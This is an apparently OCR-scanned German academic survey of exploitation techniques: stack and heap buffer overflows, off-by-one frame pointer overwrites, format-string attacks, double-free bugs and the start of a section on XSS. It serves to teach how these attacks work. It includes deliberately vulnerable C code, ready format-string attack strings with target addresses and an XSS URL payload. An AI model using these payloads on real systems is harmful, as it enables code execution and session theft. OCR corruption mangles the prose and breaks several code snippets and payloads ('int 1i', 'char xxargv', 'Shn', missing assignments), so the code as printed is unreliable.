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Abstract: Schwachstellen in Software stellen ein hohes Sicher-
heitsrisiko dar und sind ein hdufiger Grund fiir kompromittierte
Rechnersysteme. Hier soll ein Uberblick iiber bekannte Schwach-
stellen gegeben werden, es wird demonstriert, wie sich diese ausnut-
zen lassen, und auf die sich daraus ergebenden Konsequenzen ein-
gegangen. Auflerdem werden zu jeder Schwachstelle mogliche Ge-
genmafinahmen beschrieben und deren Funktionsweise eingehen-
der betrachtet. Weiterhin wird die Frage behandelt, ob diese Maf3-
nahmen robust genug sind oder ob es dennoch Mdoglichkeiten gibt,
sie zu umgehen.

Traditionelle Software-Schwachstellen

Dieser Abschnitt soll eine kurze Einfihrung in die
wtraditionellen* Software-Schwachstellen darstellen. Es wird die
Entstehung der Schwachstellen erldutert und die grundlegende
Technik vorgestellt, wie diese von einem Angreifer ausgenutzt wer-
den konnen. Kenntnisse tiber die Funktionsweise des Prozess- und
Speichermanagements, speziell die des Stacks, werden vom Leser
vorausgesetzt, da die Erkldarungen hierzu den den Rahmen dieser
Arbeit sprengen wiirden. Fiir weiterfiihrende und tiefergehende In-
formationen und auch zur genauen Funktionsweise des Stacks sei
hier dem Leser [Klein2003|] empfohlen.

Bei der Beschreibung der Schwachstellen und deren Ausnut-
zung haben wir uns auf die IA32-Architektur konzentriert. Wéhrend
sich die hier speziell vorgestellten Techniken an dieser Architektur
orientieren, ist das Prinzip durchaus auf andere Architekturen tiber-
tragbar.

Das Prinzip und die Existenz der hier aufgefiihrten Schwach-
stellen sind schon iiber etliche Jahre bekannt. Wie am Beispiel des
Buffer Overflows zu sehen ist, dessen Bekanntwerden auf 1996 da-
tiert wird [Onel996], hat die Problematik aber nicht an Aktualitit
verloren. Auf den Mailinglisten und in den Nachrichten verschie-
dener sicherheitsrelevanter Organisationen wie Cert [Cert2007] und
Securityfocus/Bugtraq [Bugtraq|] tauchen immer wieder Meldungen
iber Schwachstellen in Software auf, die auf Buffer Overflows ba-
sieren [Tomcat2007, Snort2007, |Tcpdump2007].

Buffer Overflow-Schwachstellen
Einfiihrung

Ein Buffer Overflow ist in verschiedenen Programmiersprachen zu
finden. Zur Erlduterung der Funktionsweise wird in dieser Arbeit
aufgrund ihrer Verbreitung die Sprache C herangezogen. Im All-
gemeinen beschrieben, wird bei einem Buffer Overflow eine Da-
tenmenge in einen Speicherbereich geschrieben, dessen Kapazitit
nicht ausreichend fiir diese Menge ist.

In C bedeutet dies im Speziellen, dass ein deklariertes Array mit
einer bestimmten Datenmenge gefiillt wird, dessen GroBe die Gro-
Be des Arrays tibersteigt. Dies ist moglich, da zur Laufzeit eines C-
Programmes keine Informationen iiber die GroBe eines Arrays ver-
figbar sind. Das Schreiben von Daten iiber die Grenzen des Arrays
hinaus kann dazu genutzt werden, sensitive Daten zu tiberschreiben.
Dies konnen wichtige Steuerinformationen sein, die dem Angreifer
ermdglichen, in den Ablauf des Programmes einzugreifen.

Klassische stackbasierte Buffer Overflows

Bekannterweise wichst der Stack bei der IA32-Architektur nach
unten, also in Richtung der niedrigeren Adressen. Der Stack wird
wihrend der Ausfiihrung eines Prozesses in Stackframes eingeteilt.
Dabei beinhaltet jeder Stackframe die notigen Informationen zu der
dazugehorigen Funktion. Zu diesen Informationen gehoren unter
anderem lokale Variablen, die Adresse des vorhergehenden Stack-
frames (,,SFP“, saved frame pointer) und die Riicksprungadresse
(,,RIP, return instruction pointer), wie in Abbildungﬂ] dargestellt.

Bei der Deklaration eines Arrays wird auf dem Stack in dem Be-
reich der lokalen Variablen der notige Speicherbereich reserviert.
Beim Speichern von Daten in das Array werden diese nun in den
reservierten Speicherbereich geschrieben. Dabei erfolgt das Schrei-
ben vom Anfang des Arrays in Richtung der hoheren Adressen, also
entgegengesetzt zur Wachstumsrichtung des Stacks. Da die Funk-
tionsparameter sowie Steuerungsinformationen, wie SFP und RIP,
noch vor den lokalen Variablen auf dem Stack abgelegt werden, be-
finden diese sich nun oberhalb des Arrays. In bestimmten Fillen
kann nun ein Angreifer die Steuerinformation, speziell den RIP, mit
eigenen Informationen tiberschreiben.
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Abbildung 1: Stacklayout eines C-Programms

Ein Angreifer kann durch ein Buffer Overflow in einer Funkti-
on die Riicksprungadresse der Funktion mit sinnlosen Werten iiber-
schreiben. Sobald die Funktion beendet wird und die Kontrolle
des Programmflusses an die vorherige Funktion zuriickgeht, wird
die Riicksprungadresse in den Instruction Pointer kopiert. Da die
Adresse auf ein Feld zeigt, in dem keine giiltige Instruktion zu fin-
den ist, bricht das Programm mit einem ,,Segmentation Fault* ab.
Solche Denial-of-Service Attacken sind relativ leicht herbeizufiih-
ren.

Schwieriger ist die gezielte Uberschreibung des RIP. Wenn dies
gelingt, ist ein Angreifer dazu in der Lage den Kontrollfluss des Pro-
grammes zu iibernehmen und eigenen Code (,,Payload*) auszufiih-
ren. Besitzt das Programm mit der Buffer Overflow-Schwachstelle
Root-Rechte, wird der eingeschleuste Code mit Root-Rechten aus-
gefiihrt. Dieser Umstand wird meistens dazu ausgenutzt, dass durch
den eingeschleusten Code eine Shell mit Root-Rechten gestartet
wird, womit der Angreifer die volle Kontrolle iiber den Rechner
bekommt.
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Abbildung 2: Klassischer stackbasierter Buffer Overflow
Die konkrete Umsetzung ist in Abbildung[2]zu sehen.

Der Angreifer schreibt seinen Payload zuerst in den Puffer. Wei-
terhin wird dann der Puffer iiber seine Grenzen hinaus mit der
Adresse des Payloads iiberschrieben.

Dies hat zur Folge, dass somit alle Felder, die oberhalb des Puf-
fers liegen, mit der Adresse des Payloads iiberschrieben werden, un-
ter anderem auch der SFP und der RIP. Wenn, bezogen auf das Bei-
spiel in Abbildung [2| die Ausfithrung von der Funktion f1 zuriick
in die Funktion f0 springt, wird der iiberschriebene Wert der Riick-
sprungadresse in den Instruction Pointer geschrieben. Nun befindet
sich diesmal an dem Feld, auf das die Adresse in dem Instruction
Pointer verweist, giiltiger Code, namlich der Payload des Angrei-
fers. Dieser wird nun mit den Rechten des Programmes ausgefiihrt.

Off-by-Ones und Frame Pointer Overwrites

Eine Off-by-One-Schwachstelle bezeichnet den Uberlauf eines Puf-
fers um genau ein Byte. Verursacht wird dies durch eine fehlerhafte
Angabe der Puffergrofie. Im folgenden ein Codebeispiel:

char puffer[16];

int 1i;
for(i = 0; 1 <= 16; i++)
puffer[i] = eingabel[il];

Dem Puffer konnen hier nun 17 anstelle von 16 Bytes iibergeben
werden. In C besitzt das erste Element in einem Array den Index O.
Somit ergibt sich, bezogen auf das Array in dem obigen Codebei-
spiel, der Index 15 fiir das letzte Element. Der Index 16 ermoglicht
somit einen Ein-Byte-Pufferiiberlauf.
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Abbildung 3: Oft-by-One Buffer Overflow

Da die Variablen und Steuerinformation auf dem Stack so nah bei-
einander liegen, unterscheiden sich die Stackadressen héufig nur
im letzten Byte. Den RIP zu verindern ist mit einem Off-by-One-
Overflow nicht moglich. Wenn sich der SFP aber direkt iiber dem
Puffer befindet, kann der Angreifer mit einem Pufferiiberlauf das
letzte Byte, Least Significant Byte (,,LSB*) des gespeichertes Fra-
mepointers iiberschreiben. Die Abbildung [3] zeigt dies anschaulich.
Der Angreifer fiillt den Puffer mit

e dem Payload,



e der neuen Adresse des SFP 0,

e der neuen Adresse des RIP f0, die auf den Payload zeigt

und liberschreibt das LSB des SFP f1. Der Wert des SFP wird so
abgedndert, dass bei dem Riicksprung in die Funktion fO der Stack-
pointer nicht an den Beginn der Funktion fO gesetzt wird, sondern
auf die neue Adresse SFP f0, die sich innerhalb des Puffers von
Funktion 1 befindet. Die Riicksprungadresse RIP f1 wird ganz nor-
mal in den Instruction Pointer kopiert und der Programmfluss wird
in der Funktion fO fortgefiihrt. Beginnt nun der Epilog der Funkti-
on f0, wird die neue Stackpointeradresse aus dem Puffer ausgelesen
und der Stackpointer dorthin kopiert. Da sich der die Riicksprung-
adresse immer 4 Bytes tiber den SFP befindet, wird von dort nun die
neue Riicksprungadresse, die auf den Payload zeigt, ausgelesen und
in den Instruction Pointer kopiert. Im néchsten Schritt wird dann der
Payload des Angreifers ausgefiihrt.

Die Technik, den SFP anstatt des RIP abzuindern, findet auch
Anwendung bei klassischen Buffer Overflows. Wird der RIP durch
bestimmte SicherheitsmaBnahmen geschiitzt (siche folgende Kapi-
tel), ist es dem Angreifer nicht mehr moglich, den RIP zu iiber-
schreiben. Hier ist sein Ziel dann der ungeschiitzte SFP.

Heap Overflows

Auf dem Heap wird Speicher dynamisch bei Bedarf zugewiesen.
Technisch gesehen ist auf dem Heap die gleiche Moglichkeit eines
Buffer Overflows wie auf dem Stack gegeben. Zu beachten hierbei
ist nur, dass der Heap, im Gegensatz zum Stack ,,nach oben wichst*.

Da aber keine Riicksprungadressen auf dem Heap abgelegt wer-
den, kommt hier eine andere Technik zum Einschleusen und Aus-
fiihren von Payload zum Einsatz. Dazu folgt nun ein sehr kurzer
Uberblick iiber die Funktionsweise des Heaps. Danach wird ge-
zeigt, wie sich hierbei eine Schwachstelle ergibt, die dazu ausge-
nutzt werden kann, eingeschleusten Code zur Ausfiihrung zu brin-
gen.
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Abbildung 4: Mogliches Layout auf dem Heap

Auf AbbildungE| ist ein mogliches Layout, welches auf dem Heap
vorkommen kann, dargestellt. Ein zugewiesener Speicherbereich,
mit Chunk 1 benannt, beinhaltet in dem Feld prev_size die Grofie

des vorhergehenden Chunks, sofern dieser nicht zugewiesen ist. In
dem Feld size ist die GroBe von Chunk 1 angegeben. Danach folgen
die Daten, die dort abgelegt werden. Direkt danach (hier unter dem
Chunk 1 dargestellt) folgt der nidchste Chunk, als Chunk 2 bezeich-
net, dessen Speicherbereich nicht zugewiesen ist. Das prev_size-
Feld existiert hier nicht, da Chunk 1 zugewiesen ist. Der Forward
Pointer (fd) zeigt auf den vorhergehenden, freien Chunk derselben
GroBe. Der Backward Pointer (bk) zeigt auf den nachfolgenden,
freien Chunk derselben Grof3e. Hieraus ist schon zu erkennen, dass
die Organisation von freien Chunks auf dem Heap durch doppelt
verkettete, in sich geschlossene Listen erfolgt, deren Elemente alle
Chunks gleicher Grofle sind. Dabei ist weiterhin zu beachten, dass,
sobald sich zwei freie Chunks nebeneinander befinden, die beiden
zu einem grofBen Chunk zusammengefasst werden. Genau dieses
Zusammenfassen kann sich ein Angreifer zunutze machen, um an
eine beliebige Adresse einen beliebigen Wert zu schreiben.
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Abbildung 5: Buffer Overflow auf dem Heap

Auf Abbildung [3] ist zu sehen, was passiert, wenn in den Puffer
in Chunk 1 mehr Daten als vorgesehen geschrieben werden. Die
Steuerinformation des nachfolgenden Chunks, nidmlich size, For-
ward Pointer und Backward Pointer, werden iiberschrieben. Dies
geschieht gezielt mit Angaben durch den Angreifer. Der Forward
Pointer wird mit einer Adresse iiberschrieben, die 12 Bytes vor der
Riicksprungadresse auf dem Stack liegt. Der Backward Pointer wird
mit der Adresse iiberschrieben, die auf einen, voher im Puffer ab-
gelegten, Sprungebefehl zeigt. Dieser Sprungbefehl springt 4 Bytes
weiter, auf den sich auch im Puffer befindlichen Payload.



Wird im Programmverlauf Chunk 1 durch die Funktion
free () wieder freigegeben, wird erkannt, dass zwei freie Chunks
beieinander liegen. Bei der Zusammenfiigung von Chunk 1 und
Chunk 2 zu einem grolen Chunk kommt das unlink ()-Makro
ins Spiel. Dieses entfernt Chunk 2 aus der doppelt verketteten Lis-
te, indem an die Adresse, auf die der Forward Pointer zeigt, der
Wert aus dem Feld Backward Pointer geschrieben wird. Genauso
wird an die Adresse, auf die der Backward Pointer zeigt, der Wert
aus dem Feld Forward Pointer geschrieben. In Kurzform sieht das
folgendermalien aus:

Chunk2->fd->bk
Chunk2->bk->fd

Chunk2->bk
Chunk2->fd

Die Implementierung in C spricht den Forward Pointer und den
Backward Pointer mit Offsets an:

* (Chunk2->fd+12) =
* (Chunk2->bk+8) =

Chunk2->bk
Chunk2->fd

Aus den Angaben der Implementierung geht hervor, warum der
Forward Pointer mit einer Adresse iiberschrieben wird, die 12 By-
tes vor der Riicksprungadresse liegt, die der Angreifer manipulieren
mochte. Die 12 Bytes werden bei dem Entfernen des Chunks aus
der Liste auf den Wert des Forward pointers addiert. An diese Stel-
le wird dann der Wert aus dem Feld Backward Pointer geschrieben,
ndmlich die Adresse des Sprungbefehls. AuBlerdem wird ersichtlich,
warum der Sprungbefehl bendtigt wird. Der Offset 8 wird auf die
Adresse, die sich im Backward Pointer befindet, hinzuaddiert. Dort
wird dann der Wert aus dem Forward Pointer abgelegt. Mit dem
Sprungbefehl wird nun tiber dem hinterlegten Wert, der dort nicht
zu gebrauchen ist, zu dem eigentlichen Payload gesprungen. Wird
nun der Epilog der Funktion aufgerufen und der RIP in den Instruc-
tion Pointer geschrieben, verweist dieser nun auf den Payload und
dieser wird ausgefiihrt.

Format-String-Schwachstellen
Einfiihrung

Format-String-Schwachstellen treten nicht so hdufig auf und ihr
Erscheinen ist auch noch relativ jung im Gegensatz zu den
Buffer Overflow-Schwachstellen. Trotzdem sind Format-String-
Schwachstellen als geféhrlich zu betrachten, da sie im giinstigsten
Fall dem Angreifer erlauben, einen beliebigen Wert an eine Adres-
se seiner Wahl zu schreiben, dhnlich den Buffer Overflows auf dem
Heap. Die niichsten Absitze geben einen kurzen Uberblick, was
Format-Strings sind, wie eine Schwachstelle entsteht und wie diese
dann durch einen Angreifer ausgenutzt werden kann.

Der Format-String

In C werden Format-String-Anweisungen dazu benutzt, das Aus-
gabeformat von Datentypen zu formatieren. Eine Formatfunktion
erwartet eine Anzahl von Argumenten, wobei ein Argument ein
Format-String sein muss. Der Format-String besteht aus einer Rei-
he von Zeichen und bestimmten Steuerzeichen, die mit einem %
beginnen. Der Format-String wird nun durch die Ausgabefunktion
Zeichen fiir Zeichen ausgegeben, bis ein % gefunden wird. Auf ein

% folgt das Steuerzeichen, das angibt, in welchem Format der Para-
meter ausgegeben wird. Dieser Parameter wird von der Formatfunk-
tion vom Stack eingelesen und in dem richtigen Format ausgegeben.
Ein Beispiel:

printf("%d - %d = %d", b,

a, c)i

Dieser Aufruf bedeutet, dass als erstes Argument der
printf ()-Funktion der Format-String ,,$d - %d = %d“ auf
dem Stack erwartet wird. Die Variablen a, b und ¢ werden dann
an zweiter, dritter und vierter Position auf dem Stack, relativ vom
printf ()-Call vermutet. Die Format-String-Anweisung $d be-
deutet, dass die iibergebenen Parameter als Dezimalzahlen ausge-
geben werden.

Eine Schwachstelle entsteht nun, wenn ein User bzw. ein An-
greifer die volle Kontrolle iiber einen Format-String besitzt, die ei-
ner Formatfunktion iibergeben wird. Zum Beispiel wire die folgen-
de Zeile eine Schwachstelle:

printf (eingabe) ;

Das Argument eingabe ist eine Eingabe, die von einem User frei
generiert werden kann. Ein Angreifer ist nun in der Lage, der For-
matfunktion mehrere Format-String-Anweisungen zu geben, deren
Positionen jeweils auf dem Stack angenommen werden, dort aber
nicht zu finden sind, da sie als Parameter der Formatfunktion feh-
len.

Einschleusen von Code

Von einem Angreifer kann dies ausgenutzt werden, eigenen Payload
auszufithren. Wichtig ist hier die folgende Format-Anweisung: $n.
Mit dieser Anweisung wird die Anzahl der bis zum Auftreten der
Anweisung ausgegebenen Zeichen an die im Parameter iibergebe-
ne Adresse gespeichert. Ist der Angreifer nun in der Lage, an einer
Stelle auf dem Stack die Adresse zu hinterlegen, die er manipulieren
mochte, ist es ihm zum Beispiel moglich, eine Riicksprungadresse
zu iiberschreiben. Der folgende kurze Quellcode zeigt eine solche
Format-String-Schwachstelle auf:

void func (char =*str) {
char buf[256];

strncpy (buf, str, sizeof (buf) - 1);
buf[sizeof (buf)] = \0;
printf (buf);
}
int main(int argc, char xxargv) {
if (argc > 1)
func(argv([1l]);
printf (\nProgramm wird beendet A\n);

return 0;

}

Dermain () -Funktion wird hier ein Argument iibergeben, wel-
ches wieder der Unterfunktion func () tibergeben wird. Dort wird
der Eingabestring in den Buffer buf kopiert und ausgegeben (Zeile
4). Genau hier ist auch die Format-String-Schwachstelle zu finden.
Ein Angreifer kann die Adresse, die er manipulieren mochte, und
weitere Format-String-Anweisungen dem Programm als Argument
iibergeben. Das komplette Argument wird in ein Array, welches auf



dem Stack liegt, geschrieben und danach durch die printf ()-
Funktion ausgegeben.

Auf dem Stack, ndmlich in dem Array, ist nun die zu manipu-
lierende Adresse hinterlegt. Der iibergebene String des Angreifers
muss nun eine so geeignete Format-String-Anweisung beinhalten,
dass die Format-String-Anweisung %$n genau die auf dem Stack
gespeicherte Adresse als Parameter ausliest. Ausserdem miissen
vor der $n-Anweisung geniigend Zeichen durch die Formatfunk-
tion ausgegeben worden sein, so daf die Anzahl der ausgegebenen
Zeichen genau dem Wert entspricht, der in die zu manipulierende
Adresse geschrieben werden soll. Durch mehrere Aufrufe des Pro-
grammes mit der Format-String-Anweisung %x als Parameter kann
ein Angreifer nun den Offset zwischen dem print £ () -Call und
dem Array buf herausfinden, in dem die zu manipulierende Adresse
gespeichert ist. Die Format-String-Anweisung $x bewirkt hierbei,
dass der gefundene Parameter als Hexwert ausgegeben wird. Die-
ser Offset kann mit als Parameter der $n-Format-String-Anweisung
iibergeben werden. Mit der Anweisung %<Offset>$n wird nicht an
der Stelle, an der sich normalerweise der Parameter fiir die Format-
String-Anweisung befindet, der Wert geholt, sondern es werden so-
viele Bytes, wie der Offset angibt, iibersprungen und von dort wird
der Wert gelesen. %43n bedeutet hierbei, dass sich die iibergebene
Adresse 4 Bytes liber dem Wert befindet, wo sich normalerweise der
Parameter der $n-Anweisung befinde. An dieser Stelle ist es dem
Angreifer nun moglich, eine Riicksprungadresse mit einer Adresse
zu liberschreiben, an der er eigenen Payload hinterlegt. Eine geeig-
nete Stelle, den Payload zu hinterlegen, wire zum Beispiel, ihn als
eine Umgebungsvariable zu exportieren und dann den RIP mit der
Adresse der Umgebungsvariablen zu iiberschreiben.

Um den Wert an die zu manipulierende Adresse zu schreiben,
gibt es verschiedene Moglichkeiten, die im Folgenden kurz vorge-
stellt werden.

One-Shot-Methode

Die einfachste Methode ist, die Adresse, die auf den Stack ge-
schrieben werden soll, mit einem Schreibvorgang zu schreiben. Da-
bei wird vorher die zu schreibende Adresse von der Hexadezimal-
schreibweise in eine Dezimalzahl umgewandelt. Hier ein Beispiel,
wie die einzelnen Informationen zu einem Angriffs-Format-String
zusammengefiigt werden. In dem Beispiel soll die Adresse Oxbff-
faff4 manipuliert und mit dem Wert 0x8048640 beschrieben werden.

zu schreibender Wert in Hex: 0x08048640
zu schreibender Wert in Dez: 134514240

Von diesem Wert miissen dann 4 Bytes subtrahiert werden, da diese
4 Bytes schon im Format-String auftauchen, niamlich die Adresse,
an die geschrieben werden soll: 134514240 — 4 = 134514236. Da
die Stackadressen, umgewandelt in Dezimalzahlen, ziemlich grofie
Zahlen ergeben, wird eine spezielle Eigenart der Format-String-
Anweisungen ausgenutzt, um die notige Zeichenzahl zu erreichen
und so der Formatfunktion vorzutiduschen, dass schon so viele Zei-
chen ausgegeben wurden. Mit der Angabe %.<Zahl>x wird eine
Hexadezimalausgabe mit so vielen Stellen, wie in <Zahl> ange-
geben, generiert. Der weiter oben beschriebenen Offset wird mit 4
angenommen. Der vollstindige Format-String sieht dann folgender-
maflen aus:

\xf4\xaf\xff\xbf%.134514236x%4%n

Short-Write-Methode

Da die im vorigen Abschnitt vorgestellte Methode ziemlich grofen
Anspruch an den Speicher und CPU stellt und dieser Angriff wo-
moglich bei langsamen Rechensystemen mit wenig Speicher gar
nicht durchfiihrbar ist oder zumindestens ldnger dauern wiirde, ist
es moglich, Werte auch mit der Short-Write-Methode auf den Stack
zu schreiben.

Bei dieser Methode wird der zu schreibende Hexadezimalwert in
zwei Teile geteilt und diese werden einzeln in Dezimalzahlen um-
gewandelt. Hierbei wird nicht die $n-Anweisung zum Schreiben
genommen, sondern $hn, die nicht 4 Bytes aufeinmal beschreibt,
sondern nur zwei. So werden anstelle eines groen 4-Byte Wertes
zweimal kleinere 2-Byte Werte geschrieben.

Hierzu ein Beispiel, in dem der zu schreibende Wert 0x8048640
mithilfe der Short-Write-Methode geschrieben wird. Als erstes wird
dieser Hexwert in zwei Teile geteilt und jeweils in Dezimalwerte
umgewandelt:

erster Teil in Hex: 0x0804
erster Teil in Dez: 2052

zweiter Teil in Hex: 0x8640
zweiter Teil in Dez: 34368

Als nichstes ist noch die Adresse, an die geschrieben werden soll,
anzugeben. Da nun zwei Schreibvorginge stattfinden, miissen auch
zwei Adressen iibergeben werden. Die erste Adresse ist diesselbe
Adresse aus dem Beispiel im Kapitel One-Shot-Methode: Oxbff-
faff4. Da aber nur 2 Bytes an diese Stelle geschrieben werden, miis-
sen noch 2 Bytes auf die Adresse addiert werden. Als Adressen er-
geben sich nach der Rechnung:

erste Adresse: Oxbfffaff4
zwelte Adresse: Oxbfffaffd + 2 = Oxbfffaffé

Um den Format-String zu vervollstindigen, werden noch die rich-
tigen Zahlen gebraucht, die angeben, wie viele Zeichen schon ge-
schrieben worden sind. Da wir zweimal Werte schreiben, sind zwei
Werte dafiir zu berechnen. Dabei wird von dem ersten zu schreiben-
den Wert 8 subtrahiert, da sich die Groe der beiden Adressen, an
die geschrieben werden soll, auf 8 Bytes belduft. Der zweite Wert
wird berechnet, indem von dem zweiten zu schreibenden Wert der
erste Wert subtrahiert wird. Daraus ergibt sich:

erste Wert: 2052 - 8 = 2044
zwelter Wert: 34368 - 2052 = 32316

Diese errechneten Informationen werden nun zu einem Angriffs-
Format-String zusammengefiigt und dem Programm mit der
Format-String-Schwachstelle iibergeben. Dabei sieht der fertige
String folgendermaf3en aus:

\xfe\xaf\xff\xbf\xfi\xaf\xff\xbf%.2044x%4Shn
%.32316x%5Shn

Hierbei ist zu sehen, dass der Offset beim zweiten $hn um eins
erhoht wurde, da dort die zweite Adresse liegt, an die geschrieben
werden soll. Um eigenen Code auszufiihren, muss der Angreifer an
der Adresse 0x8048640 zuvor den Payload platziert haben.

Ein Problem entsteht jedoch, wenn der zweite zu schreibende
Teil der Adresse kleiner als der erste Teil ist. Durch die Eigenart
der $n-Anweisung wird immer die Anzahl der schon ausgegebenen
Zeichen abgespeichert. Diese Anzahl kann sich aber nur vergrofiern
und nicht verkleinern, deswegen gilt: Der erste zu schreibende Wert



muss kleiner sein als der zweite. Wenn, anders als im hier vorge-
stellten Beispiel, der erste Teil der Adresse grofer ist, gibt es jedoch
eine Moglichkeit, die Adresse dennoch zu schreiben. Der zweite,
kleinere Teil der Adresse wird einfach zuerst geschrieben. Bei die-
ser Methode muss darauf geachtet werden, dass auch die Adress-
werte zu Beginn des Format-Strings angepasst werden.

Per-Byte-Write-Methode

Wie der Name schon erahnen lédsst, werden bei der Per-Byte-Write-
Methode alle 4 Bytes der Adresse einzeln auf den Stack geschrie-
ben. Diese Methode hat im Gegensatz zu der oben beschriebenen
Short-Write-Methode den Vorteil, dass sie auch auf Systemen, die
noch eine dltere (G)libc-Version (<=libc5) einsetzen, benutzt wer-
den kann. Es wird dabei dhnlich wie bei der Short-Write-Methode
vorgegangen. Die vier Adressen, an die geschrieben werden soll,
bilden den Anfang des Format-Strings. Da jedes Byte einzeln ge-
schrieben wird, unterscheiden sich dabei die Adressen nur um 1
Byte. Darauf folgen dann die einzelnen Werte, die geschrieben wer-
den sollen und die Format-String-Anweisung $n mit den notigen
Offsets. Ein Problem, welches dabei entsteht, muss beachtet wer-
den: Da mit der Format-String-Anweisung %$n gearbeitet wird, so-
mit also immer 4 Bytes geschrieben werden, verindern sich die
hinter der eigentlich zu manipulierenden Adresse folgenden Bytes
auch. Dies kann, wenn es sich bei diesen Daten um Steuerinforma-
tionen handelt, zu unerwarteten Ergebnissen fiihren.

Dangling Pointer References
Einfithrung

Bei den Dangling Pointer References handelt es sich ebenfalls um
eine Schwachstelle auf dem Heap. Diese kommt zustande, wenn
derselbe Speicherbereich zweimal mit der Funktion free () frei-
gegeben wird, weswegen diese Schwachstelle auch double free bug
genannt wird.

Wie schon aus dem vorherigen Absatz bekannt ist, wird die Or-
ganisation auf dem Heap durch eine doppelt verkettete Liste reali-
siert. Wird ein Speicherbereich freigestellt, muf dieser mittels Set-
zen des Forward Pointers und Backward Pointers in die Liste freier
Chunks derselben GroBe eingefiigt werden.

Schwachstelle

Nehmen wir an, Chunk 3 soll zwischen Chunk 1 und Chunk 2 ein-
gefiigt werden. Der Forward Pointer von Chunk 3 wird auf Chunk 1
gesetzt und der Backward Pointer zeigt auf Chunk 2. Genauso wer-
den auch die Pointer von Chunk 1 und 2 geéndert. Der Backward
Pointer von Chunk 1 und der Forward Pointer von Chunk 2 zeigen
beide auf Chunk 3. In Kurzform sieht das folgendermaBen aus:

BK Chunk2

FD = BK->fd

Chunk3->bk = BK
Chunk3->fd = FD

FD->bk = BK->fd = Chunk3

Wird der free () -Befehl zweimal auf denselben Speicherbereich
Chunk 3 angewendet, wird Chunk 3 beim ersten free () indie Lis-
te mit eingehéngt. Da Chunk 3 aber in der Liste der freien Chunks

schon vorhanden ist, wird beim zweiten free () quasi versucht,
Chunk 3 zwischen Chunk 1 und sich selbst einzufiigen. In Kurz-
form:

BK Chunk3

FD Chunk3->fd

Chunk3->bk = BK = Chunk3
Chunk3->fd = FD

FD->bk = Chunk3->fd = Chunk3

Das Ergebnis ist grafisch in Abbildung[f]zu sehen.
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Abbildung 6: Chunk 3 nach der Durchfiihrung des double free bugs

Wenn ein Programm einen Chunk der Gréf3e von Chunk 3 fordert,
dann wird Chunk 3 aus der Liste ausgehédngt. Wie schon im Absatz
Heap Overflows erldutert, wird dabei folgendes unlink ()-Makro
benutzt:

Chunk3->fd->bk
Chunk3->bk->fd

Chunk3->bk
Chunk3->fd

Der Backward Pointer und der Forward Pointer von Chunk 3 zei-
gen beide aber wieder auf Chunk 3. Dadurch wird Chunk 3 nicht
wirklich aus der Liste der freien Chunks ausgehingt. Die Software
denkt dies aber.

Ein Angreifer kann nun nach demselben Prinzip wie im Kapitel
Heap Overflows vorgehen und eine Buffer Overflow-Schwachstelle
ausnutzen, um manipulierte Steuerinformationen und Payload ein-
zuschleusen. Zu sehen ist das Ergebnis eines Angriffes in Abbil-

dung

Zur Austithrung des Payloads kommt es dann, wenn die Softwa-
re erneut einen freien Speicherbereich anfordert, der dieselbe Gro-
Be wie Chunk 3 hat. Die Software versucht nun, Chunk 3 erneut aus
der Liste auszuhéngen und bei Ausfithrung des unlink () -Makros
wird, wie im Kapitel Heap Overflows beschrieben, der RIP manipu-
liert und der Payload ausgefiihrt.
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Abbildung 7: Ausnutzen des double free Bugs

Webbasierte Schwachstellen

‘Web-Applikationen werden heute immer wichtiger. Fiir viele Fir-
men sind sie die Haupteinnahmequelle, da sie entweder Ihre Pro-
dukte tiber diese vertreiben oder Web-Applikationen entwickeln
und eben diese verkaufen. In beiden Fillen haben Sicherheitsliicken
in der Web-Applikation mit groer Wahrscheinlichkeit Rufschadi-
gung und finanzielle Verluste zur Folge.

Gleichzeitig werden diese Applikationen auch immer umfang-
reicher und komplexer. Diese Entwicklung fiihrt dazu, dass der Co-
de immer schwerer zu iiberblicken ist und auch ein Audit der gesam-
ten Applikation den Zeit- und Kostenrahmen vieler Unternehmen
sprengen wiirde.

Durch die Zusammenarbeit vieler Menschen schleichen sich
hiufig logische Fehler in die Anwendung. Diese sollen hier je-
doch nicht thematisiert werden. Wir konzentrieren uns hingegen auf
gingige Implementationsschwachstellen. Haufig konnten derartige
Sicherheitsliicken durch eine bessere Ausbildung und Sensibilisie-
rung der Programmierer vermieden werden.

Cross Site Scripting (XSS)

Eine der heutzutage am bekanntesten und mit am weitesten ver-
breiteten Sicherheitsliicken in Web-Applikationen ist Cross-Site
Scripting. XSS bezeichnet das Einfiigen eigenen Codes, meist
JavaScript, in fremde Seiten.

Die groBle Gefahr hierbei liegt darin, dass JavaScript michtig
genug ist, den gesamten Seiteninhalt einer fiir XSS anfilligen Seite
zu verdndern. Mit Hilfe von iframes und dem seit Web 2.0 bekannt

gewordenen XMLHttpRequest-Objekt konnen sogar komplexe Ak-
tionen im Namen des Benutzers ausgefiihrt werden, ohne dass die-
ser etwas davon mitbekommt. Aulerdem konnen so Cookies dieser
Domain ausgelesen und verdndert werden. Somit kann der Angrei-
fer das Verhalten der Seite nach Belieben dndern, Aktionen im Na-
men des Opfers ausfiihren oder sensitive Daten auslesen.

XSS ist eine der wenigen Methoden, um die Same Origin-Policy
zu umgehen. Diese besagt, dass nur Daten, die von der gleichen Do-
main stammen, ausgelesen werden diirfen. Eine Subdomain darf nur
auf Daten ihrer eigenen Subdomain, Subsubdomains von ihr und der
explizit nur iiber ihr liegenden Domains zugreifen, nicht jedoch auf
Daten benachbarter Subdomains. Letztendlich sind die Moglichkei-
ten nur durch die Kreativitit des Angreifers beschrinkt. Langsam
beginnnen die ersten groeren Wiirmer die im Moment so populé-
ren Online-Communities heimzusuchen [namb.]a].

Typen und Beispiele

Wir wollen uns im Folgenden die Drei unterschiedlichen Typen von
XSS anhand von Beispielen angucken [W=Xsg].

Der Typ 0 nennt sich ,,DOM based* / ,,local*“ XSS [KleinZ003].
Im Unterschied zu den beiden anderen Typen spielt bei dieser Tech-
nik der Weberver eine eher untergeordnete Rolle. Enthélt eine Seite
beispielsweise etwas wie

<script>
var pos=document .URL.indexOf ("name=")+5;
document .write (document .URL.substring (
pos,document .URL. length));
</script>

so konnen beliebige Inhalte zu der Seite hinzugefiigt werden. Es
besteht sogar die Moglichkeit, dies besonders geschickt zu tun, so
dass es dem Server nicht méglich ist, einen Angriff festzustellen.

http://some-domain.tld/index.html#name=
<script>alert (’local xss’);</script>

Da alles, was nach einem # kommt, von dem Browser nicht mehr
als Anfrage interpretiert wird, wird dieser Teil auch nicht mit an den
Server tibermittelt. Die Bezeichnung lokal bedeutet also, dass samt-
liche Schritte, die zu der Verwundbarkeit fiihren, auf der Client-
